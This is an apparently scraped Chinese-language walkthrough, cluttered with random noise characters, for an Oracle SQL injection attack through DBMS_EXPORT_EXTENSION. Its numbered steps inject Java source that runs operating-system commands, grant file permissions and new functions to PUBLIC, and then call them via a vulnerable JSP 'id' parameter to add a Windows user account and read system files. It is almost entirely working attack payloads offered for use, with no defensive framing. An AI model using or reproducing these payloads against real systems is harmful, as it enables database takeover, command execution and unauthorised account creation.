: o2 Z2 g. W5 I% Q$ g0 zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' ( K. g7 @6 ]. m; A- c Xcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(" {( `, {( Z- X0 u& z ]3 T
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} 0 f- S( U& ^' l3 c4 F9 q1 [. P}'''';END;'';END;--','SYS',0,'1',0) from dual & H% h7 f- i [0 q2 r5 U: _8 X# v* _0 e4 A3 N: k( t
) 0 v4 K8 b8 A. n% t' C8 y# b " i0 f: p& {% f8 D同时把后面步骤 提到的 对readFile()的处理语句去掉。 ! |( k* y2 r# O2 Y* M; c$ W Y+ D------------------------------ : m; f# a, W: G+ F. e8 ^ : j' o2 r# O! Z2.赋Java权限 & u4 t, ~+ V, W7 A" F1 [# Y& Q 7 i. N$ P; c+ R- e6 M5 N) i9 _3 k7 Fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual2 i8 B1 c/ M2 M: ~3 ^" w
% v" S& `3 |3 q+ z( A0 _2 ` " o M+ }1 Z+ E; B# [+ i) f; p 2 `! P+ d/ {0 L* [% s; T" t9 Y3.创建函数" r. X, Y- z3 v7 Z C+ \3 H
% A& [+ A2 P! yselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' 3 W2 {' w" K. P1 Z9 w0 jcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual , @$ `9 c" Z2 B7 `' b2 M. ]# ?: N/ V# J* q4 L1 [
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''( m. n! Q4 ~7 i9 T! L! Y& C1 E0 t9 \5 G
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual - t1 B3 |6 H; h' A k 8 c4 e2 l; l- i" ?8 ]4.赋public执行函数的权限 Z2 z* q3 `4 w7 u
6 l- W+ w% I. i, k! \' uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual$ m1 k4 f$ H) Y$ z3 o4 q/ u
, W! ?/ m4 l7 O& s2 @6 uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual 3 q: Q Z0 e; R/ ^ E/ R) g5 Q, B3 Y/ e/ o% t+ K
0 K6 b5 D( {! s: ^4 u$ g0 I
) t* f e: b3 W6 ?# d( A5.测试上面的几步是否成功+ Y, Q/ X; S5 U& r3 j
, x+ f, s N7 q! u/ u, s" Z
and '1'<>'11'||(+ e4 l J# e! c* R) @
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' 9 Y0 Z- b% G4 Z R; z; H! S); D- ?/ |" P; \2 H+ w+ g
4 |8 C, w$ `$ ]7 |2 tand '1'<>( & C& w' c d9 Y1 b- Y+ ^# D% [select OBJECT_ID from all_objects where object_name ='LINXREADFILE' / Y( M+ T$ j+ R+ d8 Q: E) ( ^7 p8 M+ x: K' M $ X/ u& T, `; w/ a" {6.执行命令: $ [- y! A; [1 L1 W- |6 M( @; a1 l! U6 K- U! _
/xxx.jsp?id=1 and '1'<>(1 W, T [7 B: H
select sys.LinxRunCMD('cmd /c net user linx /add') from dual2 u @: T, Y) F4 Q% a5 q
) . f" z t5 q' g0 h, o) C& B0 d1 U. B0 m) c$ A; m/ W% X& ?
/xxx.jsp?id=1 and '1'<>( 5 w# h7 g& r4 K- mselect sys.LinxReadFile('c:/boot.ini') from dual U, N# Q7 X# y2 d
)2 \! ]1 h P7 Q2 t9 p! h1 X* r
* Y. Z4 W0 |7 V) U注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 0 D: Z3 y7 K. \! L如果要查看运行结果可以用 union : 1 f. f2 E/ J# V$ [% r4 M' J& ~2 V, X3 P8 ?8 K! \
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual, R! s) n. G. c6 r0 {8 [